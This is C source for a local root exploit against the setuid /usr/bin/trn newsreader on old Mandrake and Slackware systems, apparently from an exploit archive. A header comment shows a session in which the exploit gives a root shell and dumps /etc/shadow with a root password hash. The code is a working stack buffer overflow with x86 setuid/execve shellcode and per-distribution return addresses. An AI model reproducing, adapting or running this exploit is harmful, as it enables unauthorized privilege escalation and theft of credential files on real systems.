/* /usr/bin/trn local root exploit By ZzagorR - http://www.rootbinbash.com */ /* sh-2.05b$ ./trn usage : ./trn ret buf example : ./trn 0xbfffff64 [+] mandrake 9.2 = 0xbfffff96 [+] slackware 10.0.0= 0xbfffff98 [+] slackware 9.1.0= 0xbfffff84 sh-2.05b$ sh-2.05b$ ./trn 0xbfffff84 128 [BOO %] 128 [RET %] bfffff84 sh-2.05b# sh-2.05b# id uid=0(root) gid=98(nobody) groups=98(nobody) sh-2.05b# cat /etc/shadow root:$1$N88/N.aP$dBWcFHiYCXXNb77Y5LPNK1:12705:0::::: TEST : MANDRAKE 9.2 SLACKWARE 10.0.0 SLACKWARE 9.1.0 http://www.rootbinbas.com/d0kum4n/trn-test.txt BOO: $trn `perl -e 'print "A" x 120'` $trn `perl -e 'print "A" x 124'` $trn `perl -e 'print "A" x 128'` Segmentation fault BOO=128 */
#include <stdio.h> #include <string.h> #define NEREDE "/usr/bin/trn"
char caylarbeles[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(int argc, char *argv[]){
int bizim;
char bufe[1000];
char *tayfasi;if (argc < 3) {
printf ("{ trn l0c4l r00t 3xpl01t }\n");
printf ("{ By ZzagorR - http://www.rootbinbash.com }\n");
printf ("{ usage : %s ret buf }\n",argv[0]);
printf ("{ example : %s 0xbfffff99 142 }\n",argv[0]);
printf ("{ mandrake 9.2 = 0xbfffff96 }\n");
printf ("{ slackware 10.0.0 = 0xbfffff98 }\n");
printf ("{ slackware 9.1.0 = 0xbfffff84 }\n");
exit(1);
}else{
unsigned long RET=strtoul(argv[1], NULL, 16);
int BOO = atoi(argv[2]);
printf ("[BOO %] %i\n",BOO);
printf ("[RET %] %x\n",RET);
tayfasi = bufe;
memset(bufe, 0x41,256-strlen(caylarbeles));
sprintf(bufe+256-strlen(caylarbeles), "%s", caylarbeles);
for ( bizim = BOO; bizim <= BOO+4; bizim+= 4 )
*(long*)(tayfasi+bizim) = RET;
execl(NEREDE, NEREDE , bufe, NULL);
}
}_________________________________________________________________
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